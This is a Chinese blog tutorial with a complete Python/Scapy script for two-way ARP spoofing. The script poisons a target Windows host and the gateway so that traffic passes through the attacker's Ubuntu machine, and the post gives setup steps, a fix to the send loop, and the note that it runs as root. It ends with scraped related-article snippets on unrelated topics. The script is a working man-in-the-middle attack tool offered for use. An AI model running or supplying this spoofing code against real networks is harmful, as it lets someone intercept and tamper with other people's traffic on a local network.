编写Python脚本进行ARP欺骗
1.系统环境:Ubuntu 16.04
Python版本:2.7
2.攻击机器:Ubuntu(192.16.0.14)
目标机器:Windows 7(192.168.0.9)
网关:(192.168.0.1)
3.首先使用下面命令安装scapy模块
pip install scapy
4.关于ARP欺骗的原理以及ARP包的格式请自行百度,在此不作过多描述
from scapy.all import *
import argparse
import sys
def arp_attack(interface,tip,gip):
local_mac=get_if_hwaddr(interface) #get_if_hwaddr是获取指定网卡的MAC地址
tmac=getmacbyip(tip) #getmacbyip是获取指定ip的MAC地址
gmac=getmacbyip(gip)
tpacket=Ether(src=local_mac,dst=tmac)/ARP(hwsrc=local_mac,psrc=gip,hwdst=tmac,pdst=tip,op=2) #在ARP包前面加上以太网头部,src是源MAC,dst是目标MAC,ARP中的参数与ARP包格式有关,请自行百度
gpacket=Ether(src=local_mac,dst=gmac)/ARP(hwsrc=local_mac,psrc=tip,hwdst=gmac,pdst=gip,op=2)
while 1: sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
sendp(gpacket,iface=interface,inter=1)
print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))
if __name__ == '__main__':
parser=argparse.ArgumentParser()
parser.add_argument('-i',help='select interface')
parser.add_argument('-t',help='target ip')
parser.add_argument('-g',help='gateway ip')
args=parser.parse_args()
if args.i and args.t and args.g:
print("Use Ctrl+z to stop")
arp_attack(args.i,args.t,args.g)
else:
print("Please enter the correct parameters")
关于下面这一块的代码一开始我是写成图中所示的(当时只截了图,没有复制代码,抱歉):
while 1:
sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
sendp(gpacket,iface=interface,inter=1)
print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))

loop参数代表循环发送数据包,但是脚本会一直停止在第一个数据包的发送处,不会发送第二个数据包,达不到双向欺骗的目的,所以作了修改。
说明:脚本要在root权限下运行,如果是普通用户权限,你会发现你的getmacbyip只能获取本地的MAC,而不能获取网关与目标主机的MAC,它会出现如下错误信息:

5.最后的结果如下图所示:



你可以看到目标主机中的网关的MAC地址已经是我的Ubuntu主机的MAC地址了。
6. 参考网址(转载自他人文章)
https://www.cnblogs.com/reddusty/p/4946118.html
scapy使用中文文档:https://github.com/Larryxi/Scapy_zh-cn/blob/master/README.md
编写Python脚本进行ARP欺骗的更多相关文章
- arp协议分析&python编程实现arp欺骗抓图片
arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...
- vim—自动缩进(编写Python脚本)
大神推荐使用vim编写Python脚本,学而时积之,不亦乐乎! 使用vim编写Python脚本的时候不能正常缩进,需要修改vimrc文件 Ubuntu系统下vimrc文件的位置: $ cd /etc/ ...
- 编写Python脚本把sqlAlchemy对象转换成dict的教程
编写Python脚本把sqlAlchemy对象转换成dict的教程 在用sqlAlchemy写web应用的时候,经常会用json进行通信,跟json最接近的对象就是dict,有时候操作dict也会比操 ...
- Python黑客编程ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- 变量-数据类型-对象-如何编写python脚本
标识符的命名规则变量是标识符的例子. 标识符 是用来标识 某样东西 的名字.在命名标识符的时候,你要遵循这些规则:标识符的第一个字符必须是字母表中的字母(大写或小写)或者一个下划线(‘ _ ’).标识 ...
- window下编写python脚本在linux下运行出错 usr/bin/python^M: bad interpreter: No such file or directory
今天在windows下使用notepad++写了个python脚本,传到linux服务器执行后提示:-bash: ./logger.py: usr/bin/python^M: bad interpre ...
- python arp欺骗
使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main(): usage=& ...
- Python+Appium自动化测试(3)-编写自动化脚本
之前一篇博客已经讲述怎样手动使用appium-desktop启动测试机上的app,但我们实际跑自动化脚本的过程中,是需要用脚本调用appium启动app的,接下来就尝试写Python脚本启动app并登 ...
- python脚本后台运行
问题描述: 环境: CentOS6.4 一个用python写的监控脚本test1.py,用while True方式一直运行,在ssh远程(使用putty终端)时通过以下命令启动脚本: python t ...
随机推荐
- JDBC-C3P0
一.依赖 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns=&quo ...
- JAVA核心技术I---JAVA基础知识(数据类型)
一:基本类型 –boolean 布尔 –byte 字节 –short/int/long 短整数/整数/长整数 –float/double 浮点数 –char 字符 (一)boolean 只有true, ...
- struct sock注释
针对 struct sock 的一些注释: struct sock { /* Socket demultiplex comparisons on incoming packets. */ __u32 ...
- wav音频文件格式解析【个人笔记】(自用)
1. WAV格式 wav是微软开发的一种音频文件格式,注意,wav文件格式是无损音频文件格式,相对于其他音频格式文件数据是没有经过压缩的,通常文件也相对比较大些.. 支持多种音频数字,取样频率和声道, ...
- Linux 命令详解(十二)Systemd 入门教程:使用定时器发送邮件(mail)
Systemd 定时器教程:http://www.ruanyifeng.com/blog/2018/03/systemd-timer.html 一.定时任务 Systemd 定时任务:每小时发送一封电 ...
- python--numpy、pandas
numpy 与 pandas 都是用来对数据进行处理的模块, 前者以array 为主体,后者以 DataFrame 为主体(让我想起了Spark的DataFrame 或RDD) 有说 pandas 是 ...
- Set实现数组去重
ES6 提供了新的数据结构 Set 它类似于数组,但是成员的值都是唯一的,没有重复的值 (set本身是一个构造函数,用来生成 Set 数据结构) 使用Set实现数组去重要简单很多. 第一种数组 ...
- vue实现简单日历
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 在 CentOS6 上安装 Zabbix3.0 Agent 并开启客户端自动注册
#!/bin/bash # # .配置yum源 # cat /etc/redhat-release |grep -i centos |grep '6.[[:digit:]]' &>/de ...
- tomcat cluster session同步时保存map数据遇到的问题
Tomcat Cluster官网:https://tomcat.apache.org/tomcat-7.0-doc/cluster-howto.html(tomcat7.0) 场景: tomcat1 ...